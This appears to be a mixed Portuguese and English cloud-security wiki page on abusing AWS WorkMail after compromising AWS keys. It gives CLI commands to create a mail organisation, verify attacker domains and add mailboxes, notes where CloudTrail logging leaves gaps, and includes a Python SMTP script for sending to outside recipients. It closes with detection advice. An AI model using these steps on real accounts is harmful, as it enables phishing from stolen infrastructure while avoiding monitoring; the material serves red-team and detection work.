AWS - WorkMail Post Exploitation

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Abusando do WorkMail para contornar o SES sandbox

Mesmo que o SES esteja preso no sandbox (apenas recipients verificados, ~200 msgs/24h, 1 msg/s), o WorkMail não possui restrição equivalente. Um atacante com long-term keys pode criar infraestrutura de e-mail descartável e começar a enviar imediatamente:

  1. Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notas:

  • Cap padrão de recipient documentado pela AWS: 100,000 external recipients/day per org (agregado entre usuários).
  • A atividade de verificação de domínio aparecerá no CloudTrail sob SES mas com invokedBy: workmail.<region>.amazonaws.com, então eventos de verificação do SES podem pertencer à configuração do WorkMail em vez de campanhas SES.
  • WorkMail mailbox users become application-layer persistence independent from IAM users.

Sending paths & telemetry gaps

Cliente web (WorkMail UI)

  • Envia como eventos ses:SendRawEmail no CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, então o IP real do cliente fica oculto.
  • Os requestParameters ainda leak o remetente (source, fromArn, sourceArn, configuration set) para correlacionar com domínios/caixas de correio recém verificados.

SMTP (mais furtivo)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) com a mailbox password.
  • No CloudTrail data events are generated for SMTP delivery, even when SES data events are enabled.
  • Pontos ideais de detecção são provisionamento de org/domínio/usuário e SES identity ARNs referenciados em eventos SendRawEmail enviados pela web subsequentes.
Exemplo de envio SMTP via WorkMail ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

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## Considerações de detecção

- Se o WorkMail for desnecessário, bloqueie-o via **SCPs** (`workmail:*` deny) no nível da organização.
- Alertar sobre provisionamento: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail` e verificações do SES com `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Fique atento a eventos anômalos **`ses:SendRawEmail`** onde os ARNs de identidade referenciam domínios novos e o IP/UA de origem é igual a `workmail.<region>.amazonaws.com`.

## References

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

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